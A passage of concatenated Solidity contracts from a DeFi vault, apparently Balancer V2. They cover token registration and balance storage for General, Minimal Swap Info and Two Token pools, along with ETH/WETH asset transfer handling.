// each token in the Pool), access the index of any 'token in' a single read (required for the IGeneralPool call),
// and update an entry's value given its index.
// Map of token -> balance pairs for each Pool with this specialization. Many functions rely on storage pointers to
// a Pool's EnumerableMap to save gas when computing storage slots.
mapping(bytes32 => EnumerableMap.IERC20ToBytes32Map) internal _generalPoolsBalances;
/**
* @dev Registers a list of tokens in a General Pool.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*
* Requirements:
*
* - `tokens` must not be registered in the Pool
* - `tokens` must not contain duplicates
*/
function _registerGeneralPoolTokens(bytes32 poolId, IERC20[] memory tokens) internal {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
for (uint256 i = 0; i < tokens.length; ++i) {
// EnumerableMaps require an explicit initial value when creating a key-value pair: we use zero, the same
// value that is found in uninitialized storage, which corresponds to an empty balance.
bool added = poolBalances.set(tokens[i], 0);
_require(added, Errors.TOKEN_ALREADY_REGISTERED);
}
}
/**
* @dev Deregisters a list of tokens in a General Pool.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*
* Requirements:
*
* - `tokens` must be registered in the Pool
* - `tokens` must have zero balance in the Vault
* - `tokens` must not contain duplicates
*/
function _deregisterGeneralPoolTokens(bytes32 poolId, IERC20[] memory tokens) internal {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
bytes32 currentBalance = _getGeneralPoolBalance(poolBalances, token);
_require(currentBalance.isZero(), Errors.NONZERO_TOKEN_BALANCE);
// We don't need to check remove's return value, since _getGeneralPoolBalance already checks that the token
// was registered.
poolBalances.remove(token);
}
}
/**
* @dev Sets the balances of a General Pool's tokens to `balances`.
*
* WARNING: this assumes `balances` has the same length and order as the Pool's tokens.
*/
function _setGeneralPoolBalances(bytes32 poolId, bytes32[] memory balances) internal {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
for (uint256 i = 0; i < balances.length; ++i) {
// Since we assume all balances are properly ordered, we can simply use `unchecked_setAt` to avoid one less
// storage read per token.
poolBalances.unchecked_setAt(i, balances[i]);
}
}
/**
* @dev Transforms `amount` of `token`'s balance in a General Pool from cash into managed.
*
* This function assumes `poolId` exists, corresponds to the General specialization setting, and that `token` is
* registered for that Pool.
*/
function _generalPoolCashToManaged(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateGeneralPoolBalance(poolId, token, BalanceAllocation.cashToManaged, amount);
}
/**
* @dev Transforms `amount` of `token`'s balance in a General Pool from managed into cash.
*
* This function assumes `poolId` exists, corresponds to the General specialization setting, and that `token` is
* registered for that Pool.
*/
function _generalPoolManagedToCash(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateGeneralPoolBalance(poolId, token, BalanceAllocation.managedToCash, amount);
}
/**
* @dev Sets `token`'s managed balance in a General Pool to `amount`.
*
* This function assumes `poolId` exists, corresponds to the General specialization setting, and that `token` is
* registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _setGeneralPoolManagedBalance(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal returns (int256) {
return _updateGeneralPoolBalance(poolId, token, BalanceAllocation.setManaged, amount);
}
/**
* @dev Sets `token`'s balance in a General Pool to the result of the `mutation` function when called with the
* current balance and `amount`.
*
* This function assumes `poolId` exists, corresponds to the General specialization setting, and that `token` is
* registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _updateGeneralPoolBalance(
bytes32 poolId,
IERC20 token,
function(bytes32, uint256) returns (bytes32) mutation,
uint256 amount
) private returns (int256) {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
bytes32 currentBalance = _getGeneralPoolBalance(poolBalances, token);
bytes32 newBalance = mutation(currentBalance, amount);
poolBalances.set(token, newBalance);
return newBalance.managedDelta(currentBalance);
}
/**
* @dev Returns an array with all the tokens and balances in a General Pool. The order may change when tokens are
* registered or deregistered.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*/
function _getGeneralPoolTokens(bytes32 poolId)
internal
view
returns (IERC20[] memory tokens, bytes32[] memory balances)
{
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
tokens = new IERC20[](poolBalances.length());
balances = new bytes32[](tokens.length);
for (uint256 i = 0; i < tokens.length; ++i) {
// Because the iteration is bounded by `tokens.length`, which matches the EnumerableMap's length, we can use
// `unchecked_at` as we know `i` is a valid token index, saving storage reads.
(tokens[i], balances[i]) = poolBalances.unchecked_at(i);
}
}
/**
* @dev Returns the balance of a token in a General Pool.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*
* Requirements:
*
* - `token` must be registered in the Pool
*/
function _getGeneralPoolBalance(bytes32 poolId, IERC20 token) internal view returns (bytes32) {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
return _getGeneralPoolBalance(poolBalances, token);
}
/**
* @dev Same as `_getGeneralPoolBalance` but using a Pool's storage pointer, which saves gas in repeated reads and
* writes.
*/
function _getGeneralPoolBalance(EnumerableMap.IERC20ToBytes32Map storage poolBalances, IERC20 token)
private
view
returns (bytes32)
{
return poolBalances.get(token, Errors.TOKEN_NOT_REGISTERED);
}
/**
* @dev Returns true if `token` is registered in a General Pool.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*/
function _isGeneralPoolTokenRegistered(bytes32 poolId, IERC20 token) internal view returns (bool) {
EnumerableMap.IERC20ToBytes32Map storage poolBalances = _generalPoolsBalances[poolId];
return poolBalances.contains(token);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../../lib/helpers/BalancerErrors.sol";
import "../../lib/openzeppelin/EnumerableSet.sol";
import "../../lib/openzeppelin/IERC20.sol";
import "./BalanceAllocation.sol";
import "../PoolRegistry.sol";
abstract contract MinimalSwapInfoPoolsBalance is PoolRegistry {
using BalanceAllocation for bytes32;
using EnumerableSet for EnumerableSet.AddressSet;
// Data for Pools with the Minimal Swap Info specialization setting
//
// These Pools use the IMinimalSwapInfoPool interface, and so the Vault must read the balance of the two tokens
// in the swap. The best solution is to use a mapping from token to balance, which lets us read or write any token's
// balance in a single storage access.
//
// We also keep a set of registered tokens. Because tokens with non-zero balance are by definition registered, in
// some balance getters we skip checking for token registration if a non-zero balance is found, saving gas by
// performing a single read instead of two.
mapping(bytes32 => mapping(IERC20 => bytes32)) internal _minimalSwapInfoPoolsBalances;
mapping(bytes32 => EnumerableSet.AddressSet) internal _minimalSwapInfoPoolsTokens;
/**
* @dev Registers a list of tokens in a Minimal Swap Info Pool.
*
* This function assumes `poolId` exists and corresponds to the Minimal Swap Info specialization setting.
*
* Requirements:
*
* - `tokens` must not be registered in the Pool
* - `tokens` must not contain duplicates
*/
function _registerMinimalSwapInfoPoolTokens(bytes32 poolId, IERC20[] memory tokens) internal {
EnumerableSet.AddressSet storage poolTokens = _minimalSwapInfoPoolsTokens[poolId];
for (uint256 i = 0; i < tokens.length; ++i) {
bool added = poolTokens.add(address(tokens[i]));
_require(added, Errors.TOKEN_ALREADY_REGISTERED);
// Note that we don't initialize the balance mapping: the default value of zero corresponds to an empty
// balance.
}
}
/**
* @dev Deregisters a list of tokens in a Minimal Swap Info Pool.
*
* This function assumes `poolId` exists and corresponds to the Minimal Swap Info specialization setting.
*
* Requirements:
*
* - `tokens` must be registered in the Pool
* - `tokens` must have zero balance in the Vault
* - `tokens` must not contain duplicates
*/
function _deregisterMinimalSwapInfoPoolTokens(bytes32 poolId, IERC20[] memory tokens) internal {
EnumerableSet.AddressSet storage poolTokens = _minimalSwapInfoPoolsTokens[poolId];
for (uint256 i = 0; i < tokens.length; ++i) {
IERC20 token = tokens[i];
_require(_minimalSwapInfoPoolsBalances[poolId][token].isZero(), Errors.NONZERO_TOKEN_BALANCE);
// For consistency with other Pool specialization settings, we explicitly reset the balance (which may have
// a non-zero last change block).
delete _minimalSwapInfoPoolsBalances[poolId][token];
bool removed = poolTokens.remove(address(token));
_require(removed, Errors.TOKEN_NOT_REGISTERED);
}
}
/**
* @dev Sets the balances of a Minimal Swap Info Pool's tokens to `balances`.
*
* WARNING: this assumes `balances` has the same length and order as the Pool's tokens.
*/
function _setMinimalSwapInfoPoolBalances(
bytes32 poolId,
IERC20[] memory tokens,
bytes32[] memory balances
) internal {
for (uint256 i = 0; i < tokens.length; ++i) {
_minimalSwapInfoPoolsBalances[poolId][tokens[i]] = balances[i];
}
}
/**
* @dev Transforms `amount` of `token`'s balance in a Minimal Swap Info Pool from cash into managed.
*
* This function assumes `poolId` exists, corresponds to the Minimal Swap Info specialization setting, and that
* `token` is registered for that Pool.
*/
function _minimalSwapInfoPoolCashToManaged(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateMinimalSwapInfoPoolBalance(poolId, token, BalanceAllocation.cashToManaged, amount);
}
/**
* @dev Transforms `amount` of `token`'s balance in a Minimal Swap Info Pool from managed into cash.
*
* This function assumes `poolId` exists, corresponds to the Minimal Swap Info specialization setting, and that
* `token` is registered for that Pool.
*/
function _minimalSwapInfoPoolManagedToCash(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateMinimalSwapInfoPoolBalance(poolId, token, BalanceAllocation.managedToCash, amount);
}
/**
* @dev Sets `token`'s managed balance in a Minimal Swap Info Pool to `amount`.
*
* This function assumes `poolId` exists, corresponds to the Minimal Swap Info specialization setting, and that
* `token` is registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _setMinimalSwapInfoPoolManagedBalance(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal returns (int256) {
return _updateMinimalSwapInfoPoolBalance(poolId, token, BalanceAllocation.setManaged, amount);
}
/**
* @dev Sets `token`'s balance in a Minimal Swap Info Pool to the result of the `mutation` function when called with
* the current balance and `amount`.
*
* This function assumes `poolId` exists, corresponds to the Minimal Swap Info specialization setting, and that
* `token` is registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _updateMinimalSwapInfoPoolBalance(
bytes32 poolId,
IERC20 token,
function(bytes32, uint256) returns (bytes32) mutation,
uint256 amount
) internal returns (int256) {
bytes32 currentBalance = _getMinimalSwapInfoPoolBalance(poolId, token);
bytes32 newBalance = mutation(currentBalance, amount);
_minimalSwapInfoPoolsBalances[poolId][token] = newBalance;
return newBalance.managedDelta(currentBalance);
}
/**
* @dev Returns an array with all the tokens and balances in a Minimal Swap Info Pool. The order may change when
* tokens are registered or deregistered.
*
* This function assumes `poolId` exists and corresponds to the Minimal Swap Info specialization setting.
*/
function _getMinimalSwapInfoPoolTokens(bytes32 poolId)
internal
view
returns (IERC20[] memory tokens, bytes32[] memory balances)
{
EnumerableSet.AddressSet storage poolTokens = _minimalSwapInfoPoolsTokens[poolId];
tokens = new IERC20[](poolTokens.length());
balances = new bytes32[](tokens.length);
for (uint256 i = 0; i < tokens.length; ++i) {
// Because the iteration is bounded by `tokens.length`, which matches the EnumerableSet's length, we can use
// `unchecked_at` as we know `i` is a valid token index, saving storage reads.
IERC20 token = IERC20(poolTokens.unchecked_at(i));
tokens[i] = token;
balances[i] = _minimalSwapInfoPoolsBalances[poolId][token];
}
}
/**
* @dev Returns the balance of a token in a Minimal Swap Info Pool.
*
* Requirements:
*
* - `poolId` must be a Minimal Swap Info Pool
* - `token` must be registered in the Pool
*/
function _getMinimalSwapInfoPoolBalance(bytes32 poolId, IERC20 token) internal view returns (bytes32) {
bytes32 balance = _minimalSwapInfoPoolsBalances[poolId][token];
// A non-zero balance guarantees that the token is registered. If zero, we manually check if the token is
// registered in the Pool. Token registration implies that the Pool is registered as well, which lets us save
// gas by not performing the check.
bool tokenRegistered = balance.isNotZero() || _minimalSwapInfoPoolsTokens[poolId].contains(address(token));
if (!tokenRegistered) {
// The token might not be registered because the Pool itself is not registered. We check this to provide a
// more accurate revert reason.
_ensureRegisteredPool(poolId);
_revert(Errors.TOKEN_NOT_REGISTERED);
}
return balance;
}
/**
* @dev Returns true if `token` is registered in a Minimal Swap Info Pool.
*
* This function assumes `poolId` exists and corresponds to the Minimal Swap Info specialization setting.
*/
function _isMinimalSwapInfoPoolTokenRegistered(bytes32 poolId, IERC20 token) internal view returns (bool) {
EnumerableSet.AddressSet storage poolTokens = _minimalSwapInfoPoolsTokens[poolId];
return poolTokens.contains(address(token));
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../../lib/helpers/BalancerErrors.sol";
import "../../lib/openzeppelin/IERC20.sol";
import "./BalanceAllocation.sol";
import "../PoolRegistry.sol";
abstract contract TwoTokenPoolsBalance is PoolRegistry {
using BalanceAllocation for bytes32;
// Data for Pools with the Two Token specialization setting
//
// These are similar to the Minimal Swap Info Pool case (because the Pool only has two tokens, and therefore there
// are only two balances to read), but there's a key difference in how data is stored. Keeping a set makes little
// sense, as it will only ever hold two tokens, so we can just store those two directly.
//
// The gas savings associated with using these Pools come from how token balances are stored: cash amounts for token
// A and token B are packed together, as are managed amounts. Because only cash changes in a swap, there's no need
// to write to this second storage slot. A single last change block number for both tokens is stored with the packed
// cash fields.
struct TwoTokenPoolBalances {
bytes32 sharedCash;
bytes32 sharedManaged;
}
// We could just keep a mapping from Pool ID to TwoTokenSharedBalances, but there's an issue: we wouldn't know to
// which tokens those balances correspond. This would mean having to also check which are registered with the Pool.
//
// What we do instead to save those storage reads is keep a nested mapping from the token pair hash to the balances
// struct. The Pool only has two tokens, so only a single entry of this mapping is set (the one that corresponds to
// that pair's hash).
//
// This has the trade-off of making Vault code that interacts with these Pools cumbersome: both balances must be
// accessed at the same time by using both token addresses, and some logic is needed to determine how the pair hash
// is computed. We do this by sorting the tokens, calling the token with the lowest numerical address value token A,
// and the other one token B. In functions where the token arguments could be either A or B, we use X and Y instead.
//
// If users query a token pair containing an unregistered token, the Pool will generate a hash for a mapping entry
// that was not set, and return zero balances. Non-zero balances are only possible if both tokens in the pair
// are registered with the Pool, which means we don't have to check the TwoTokenPoolTokens struct, and can save
// storage reads.
struct TwoTokenPoolTokens {
IERC20 tokenA;
IERC20 tokenB;
mapping(bytes32 => TwoTokenPoolBalances) balances;
}
mapping(bytes32 => TwoTokenPoolTokens) private _twoTokenPoolTokens;
/**
* @dev Registers tokens in a Two Token Pool.
*
* This function assumes `poolId` exists and corresponds to the Two Token specialization setting.
*
* Requirements:
*
* - `tokenX` and `tokenY` must not be the same
* - The tokens must be ordered: tokenX < tokenY
*/
function _registerTwoTokenPoolTokens(
bytes32 poolId,
IERC20 tokenX,
IERC20 tokenY
) internal {
// Not technically true since we didn't register yet, but this is consistent with the error messages of other
// specialization settings.
_require(tokenX != tokenY, Errors.TOKEN_ALREADY_REGISTERED);
_require(tokenX < tokenY, Errors.UNSORTED_TOKENS);
// A Two Token Pool with no registered tokens is identified by having zero addresses for tokens A and B.
TwoTokenPoolTokens storage poolTokens = _twoTokenPoolTokens[poolId];
_require(poolTokens.tokenA == IERC20(0) && poolTokens.tokenB == IERC20(0), Errors.TOKENS_ALREADY_SET);
// Since tokenX < tokenY, tokenX is A and tokenY is B
poolTokens.tokenA = tokenX;
poolTokens.tokenB = tokenY;
// Note that we don't initialize the balance mapping: the default value of zero corresponds to an empty
// balance.
}
/**
* @dev Deregisters tokens in a Two Token Pool.
*
* This function assumes `poolId` exists and corresponds to the Two Token specialization setting.
*
* Requirements:
*
* - `tokenX` and `tokenY` must be registered in the Pool
* - both tokens must have zero balance in the Vault
*/
function _deregisterTwoTokenPoolTokens(
bytes32 poolId,
IERC20 tokenX,
IERC20 tokenY
) internal {
(
bytes32 balanceA,
bytes32 balanceB,
TwoTokenPoolBalances storage poolBalances
) = _getTwoTokenPoolSharedBalances(poolId, tokenX, tokenY);
_require(balanceA.isZero() && balanceB.isZero(), Errors.NONZERO_TOKEN_BALANCE);
delete _twoTokenPoolTokens[poolId];
// For consistency with other Pool specialization settings, we explicitly reset the packed cash field (which may
// have a non-zero last change block).
delete poolBalances.sharedCash;
}
/**
* @dev Sets the cash balances of a Two Token Pool's tokens.
*
* WARNING: this assumes `tokenA` and `tokenB` are the Pool's two registered tokens, and are in the correct order.
*/
function _setTwoTokenPoolCashBalances(
bytes32 poolId,
IERC20 tokenA,
bytes32 balanceA,
IERC20 tokenB,
bytes32 balanceB
) internal {
bytes32 pairHash = _getTwoTokenPairHash(tokenA, tokenB);
TwoTokenPoolBalances storage poolBalances = _twoTokenPoolTokens[poolId].balances[pairHash];
poolBalances.sharedCash = BalanceAllocation.toSharedCash(balanceA, balanceB);
}
/**
* @dev Transforms `amount` of `token`'s balance in a Two Token Pool from cash into managed.
*
* This function assumes `poolId` exists, corresponds to the Two Token specialization setting, and that `token` is
* registered for that Pool.
*/
function _twoTokenPoolCashToManaged(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateTwoTokenPoolSharedBalance(poolId, token, BalanceAllocation.cashToManaged, amount);
}
/**
* @dev Transforms `amount` of `token`'s balance in a Two Token Pool from managed into cash.
*
* This function assumes `poolId` exists, corresponds to the Two Token specialization setting, and that `token` is
* registered for that Pool.
*/
function _twoTokenPoolManagedToCash(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal {
_updateTwoTokenPoolSharedBalance(poolId, token, BalanceAllocation.managedToCash, amount);
}
/**
* @dev Sets `token`'s managed balance in a Two Token Pool to `amount`.
*
* This function assumes `poolId` exists, corresponds to the Two Token specialization setting, and that `token` is
* registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _setTwoTokenPoolManagedBalance(
bytes32 poolId,
IERC20 token,
uint256 amount
) internal returns (int256) {
return _updateTwoTokenPoolSharedBalance(poolId, token, BalanceAllocation.setManaged, amount);
}
/**
* @dev Sets `token`'s balance in a Two Token Pool to the result of the `mutation` function when called with
* the current balance and `amount`.
*
* This function assumes `poolId` exists, corresponds to the Two Token specialization setting, and that `token` is
* registered for that Pool.
*
* Returns the managed balance delta as a result of this call.
*/
function _updateTwoTokenPoolSharedBalance(
bytes32 poolId,
IERC20 token,
function(bytes32, uint256) returns (bytes32) mutation,
uint256 amount
) private returns (int256) {
(
TwoTokenPoolBalances storage balances,
IERC20 tokenA,
bytes32 balanceA,
,
bytes32 balanceB
) = _getTwoTokenPoolBalances(poolId);
int256 delta;
if (token == tokenA) {
bytes32 newBalance = mutation(balanceA, amount);
delta = newBalance.managedDelta(balanceA);
balanceA = newBalance;
} else {
// token == tokenB
bytes32 newBalance = mutation(balanceB, amount);
delta = newBalance.managedDelta(balanceB);
balanceB = newBalance;
}
balances.sharedCash = BalanceAllocation.toSharedCash(balanceA, balanceB);
balances.sharedManaged = BalanceAllocation.toSharedManaged(balanceA, balanceB);
return delta;
}
/*
* @dev Returns an array with all the tokens and balances in a Two Token Pool. The order may change when
* tokens are registered or deregistered.
*
* This function assumes `poolId` exists and corresponds to the Two Token specialization setting.
*/
function _getTwoTokenPoolTokens(bytes32 poolId)
internal
view
returns (IERC20[] memory tokens, bytes32[] memory balances)
{
(, IERC20 tokenA, bytes32 balanceA, IERC20 tokenB, bytes32 balanceB) = _getTwoTokenPoolBalances(poolId);
// Both tokens will either be zero (if unregistered) or non-zero (if registered), but we keep the full check for
// clarity.
if (tokenA == IERC20(0) || tokenB == IERC20(0)) {
return (new IERC20[](0), new bytes32[](0));
}
// Note that functions relying on this getter expect tokens to be properly ordered, so we use the (A, B)
// ordering.
tokens = new IERC20[](2);
tokens[0] = tokenA;
tokens[1] = tokenB;
balances = new bytes32[](2);
balances[0] = balanceA;
balances[1] = balanceB;
}
/**
* @dev Same as `_getTwoTokenPoolTokens`, except it returns the two tokens and balances directly instead of using
* an array, as well as a storage pointer to the `TwoTokenPoolBalances` struct, which can be used to update it
* without having to recompute the pair hash and storage slot.
*/
function _getTwoTokenPoolBalances(bytes32 poolId)
private
view
returns (
TwoTokenPoolBalances storage poolBalances,
IERC20 tokenA,
bytes32 balanceA,
IERC20 tokenB,
bytes32 balanceB
)
{
TwoTokenPoolTokens storage poolTokens = _twoTokenPoolTokens[poolId];
tokenA = poolTokens.tokenA;
tokenB = poolTokens.tokenB;
bytes32 pairHash = _getTwoTokenPairHash(tokenA, tokenB);
poolBalances = poolTokens.balances[pairHash];
bytes32 sharedCash = poolBalances.sharedCash;
bytes32 sharedManaged = poolBalances.sharedManaged;
balanceA = BalanceAllocation.fromSharedToBalanceA(sharedCash, sharedManaged);
balanceB = BalanceAllocation.fromSharedToBalanceB(sharedCash, sharedManaged);
}
/**
* @dev Returns the balance of a token in a Two Token Pool.
*
* This function assumes `poolId` exists and corresponds to the General specialization setting.
*
* This function is convenient but not particularly gas efficient, and should be avoided during gas-sensitive
* operations, such as swaps. For those, _getTwoTokenPoolSharedBalances provides a more flexible interface.
*
* Requirements:
*
* - `token` must be registered in the Pool
*/
function _getTwoTokenPoolBalance(bytes32 poolId, IERC20 token) internal view returns (bytes32) {
// We can't just read the balance of token, because we need to know the full pair in order to compute the pair
// hash and access the balance mapping. We therefore rely on `_getTwoTokenPoolBalances`.
(, IERC20 tokenA, bytes32 balanceA, IERC20 tokenB, bytes32 balanceB) = _getTwoTokenPoolBalances(poolId);
if (token == tokenA) {
return balanceA;
} else if (token == tokenB) {
return balanceB;
} else {
_revert(Errors.TOKEN_NOT_REGISTERED);
}
}
/**
* @dev Returns the balance of the two tokens in a Two Token Pool.
*
* The returned balances are those of token A and token B, where token A is the lowest of token X and token Y, and
* token B the other.
*
* This function also returns a storage pointer to the TwoTokenPoolBalances struct associated with the token pair,
* which can be used to update it without having to recompute the pair hash and storage slot.
*
* Requirements:
*
* - `poolId` must be a Minimal Swap Info Pool
* - `tokenX` and `tokenY` must be registered in the Pool
*/
function _getTwoTokenPoolSharedBalances(
bytes32 poolId,
IERC20 tokenX,
IERC20 tokenY
)
internal
view
returns (
bytes32 balanceA,
bytes32 balanceB,
TwoTokenPoolBalances storage poolBalances
)
{
(IERC20 tokenA, IERC20 tokenB) = _sortTwoTokens(tokenX, tokenY);
bytes32 pairHash = _getTwoTokenPairHash(tokenA, tokenB);
poolBalances = _twoTokenPoolTokens[poolId].balances[pairHash];
// Because we're reading balances using the pair hash, if either token X or token Y is not registered then
// *both* balance entries will be zero.
bytes32 sharedCash = poolBalances.sharedCash;
bytes32 sharedManaged = poolBalances.sharedManaged;
// A non-zero balance guarantees that both tokens are registered. If zero, we manually check whether each
// token is registered in the Pool. Token registration implies that the Pool is registered as well, which
// lets us save gas by not performing the check.
bool tokensRegistered = sharedCash.isNotZero() ||
sharedManaged.isNotZero() ||
(_isTwoTokenPoolTokenRegistered(poolId, tokenA) && _isTwoTokenPoolTokenRegistered(poolId, tokenB));
if (!tokensRegistered) {
// The tokens might not be registered because the Pool itself is not registered. We check this to provide a
// more accurate revert reason.
_ensureRegisteredPool(poolId);
_revert(Errors.TOKEN_NOT_REGISTERED);
}
balanceA = BalanceAllocation.fromSharedToBalanceA(sharedCash, sharedManaged);
balanceB = BalanceAllocation.fromSharedToBalanceB(sharedCash, sharedManaged);
}
/**
* @dev Returns true if `token` is registered in a Two Token Pool.
*
* This function assumes `poolId` exists and corresponds to the Two Token specialization setting.
*/
function _isTwoTokenPoolTokenRegistered(bytes32 poolId, IERC20 token) internal view returns (bool) {
TwoTokenPoolTokens storage poolTokens = _twoTokenPoolTokens[poolId];
// The zero address can never be a registered token.
return (token == poolTokens.tokenA || token == poolTokens.tokenB) && token != IERC20(0);
}
/**
* @dev Returns the hash associated with a given token pair.
*/
function _getTwoTokenPairHash(IERC20 tokenA, IERC20 tokenB) private pure returns (bytes32) {
return keccak256(abi.encodePacked(tokenA, tokenB));
}
/**
* @dev Sorts two tokens in ascending order, returning them as a (tokenA, tokenB) tuple.
*/
function _sortTwoTokens(IERC20 tokenX, IERC20 tokenY) private pure returns (IERC20, IERC20) {
return tokenX < tokenY ? (tokenX, tokenY) : (tokenY, tokenX);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "../lib/math/Math.sol";
import "../lib/helpers/BalancerErrors.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/helpers/AssetHelpers.sol";
import "../lib/openzeppelin/SafeERC20.sol";
import "../lib/openzeppelin/Address.sol";
import "./interfaces/IWETH.sol";
import "./interfaces/IAsset.sol";
import "./interfaces/IVault.sol";
abstract contract AssetTransfersHandler is AssetHelpers {
using SafeERC20 for IERC20;
using Address for address payable;
/**
* @dev Receives `amount` of `asset` from `sender`. If `fromInternalBalance` is true, it first withdraws as much
* as possible from Internal Balance, then transfers any remaining amount.
*
* If `asset` is ETH, `fromInternalBalance` must be false (as ETH cannot be held as internal balance), and the funds
* will be wrapped into WETH.
*
* WARNING: this function does not check that the contract caller has actually supplied any ETH - it is up to the
* caller of this function to check that this is true to prevent the Vault from using its own ETH (though the Vault
* typically doesn't hold any).
*/
function _receiveAsset(
IAsset asset,
uint256 amount,
address sender,
bool fromInternalBalance
) internal {
if (amount == 0) {
return;
}
if (_isETH(asset)) {
_require(!fromInternalBalance, Errors.INVALID_ETH_INTERNAL_BALANCE);
// The ETH amount to receive is deposited into the WETH contract, which will in turn mint WETH for
// the Vault at a 1:1 ratio.
// A check for this condition is also introduced by the compiler, but this one provides a revert reason.
// Note we're checking for the Vault's total balance, *not* ETH sent in this transaction.
_require(address(this).balance >= amount, Errors.INSUFFICIENT_ETH);
_WETH().deposit{ value: amount }();
} else {
IERC20 token = _asIERC20(asset);
if (fromInternalBalance) {
// We take as many tokens from Internal Balance as possible: any remaining amounts will be transferred.
uint256 deductedBalance = _decreaseInternalBalance(sender, token, amount, true);
// Because `deductedBalance` will be always the lesser of the current internal balance
// and the amount to decrease, it is safe to perform unchecked arithmetic.
amount -= deductedBalance;
}
if (amount > 0) {
token.safeTransferFrom(sender, address(this), amount);
}
}
}
/**
* @dev Sends `amount` of `asset` to `recipient`. If `toInternalBalance` is true, the asset is deposited as Internal
* Balance instead of being transferred.
*
* If `asset` is ETH, `toInternalBalance` must be false (as ETH cannot be held as internal balance), and the funds
* are instead sent directly after unwrapping WETH.
*/
function _sendAsset(
IAsset asset,
uint256 amount,
address payable recipient,
bool toInternalBalance
) internal {
if (amount == 0) {
return;
}
if (_isETH(asset)) {
// Sending ETH is not as involved as receiving it: the only special behavior is it cannot be
// deposited to Internal Balance.
_require(!toInternalBalance, Errors.INVALID_ETH_INTERNAL_BALANCE);
// First, the Vault withdraws deposited ETH from the WETH contract, by burning the same amount of WETH
// from the Vault. This receipt will be handled by the Vault's `receive`.
_WETH().withdraw(amount);
// Then, the withdrawn ETH is sent to the recipient.
recipient.sendValue(amount);
} else {
IERC20 token = _asIERC20(asset);
if (toInternalBalance) {
_increaseInternalBalance(recipient, token, amount);
} else {
token.safeTransfer(recipient, amount);
}
}
}
/**
* @dev Returns excess ETH back to the contract caller, assuming `amountUsed` has been spent. Reverts
* if the caller sent less ETH than `amountUsed`.
*
* Because the caller might not know exactly how much ETH a Vault action will require, they may send extra.
* Note that this excess value is returned *to the contract caller* (msg.sender). If caller and e.g. swap sender are
* not the same (because the caller is a relayer for the sender), then it is up to the caller to manage this
* returned ETH.
*/
function _handleRemainingEth(uint256 amountUsed) internal {
_require(msg.value >= amountUsed, Errors.INSUFFICIENT_ETH);
uint256 excess = msg.value - amountUsed;
if (excess > 0) {
msg.sender.sendValue(excess);
}
}
/**
* @dev Enables the Vault to receive ETH. This is required for it to be able to unwrap WETH, which sends ETH to the
* caller.
*
* Any ETH sent to the Vault outside of the WETH unwrapping mechanism would be forever locked inside the Vault, so
* we prevent that from happening. Other mechanisms used to send ETH to the Vault (such as being the recipient of an
* ETH swap, Pool exit or withdrawal, contract self-destruction, or receiving the block mining reward) will result
* in locked funds, but are not otherwise a security or soundness issue. This check only exists as an attempt to
* prevent user error.
*/
receive() external payable {
_require(msg.sender == address(_WETH()), Errors.ETH_TRANSFER);
}
// This contract uses virtual internal functions instead of inheriting from the modules that implement them (in
// this case UserBalance) in order to decouple it from the rest of the system and enable standalone testing by
// implementing these with mocks.
function _increaseInternalBalance(
address account,
IERC20 token,
uint256 amount
) internal virtual;
function _decreaseInternalBalance(
address account,
IERC20 token,
uint256 amount,
bool capped
) internal virtual returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
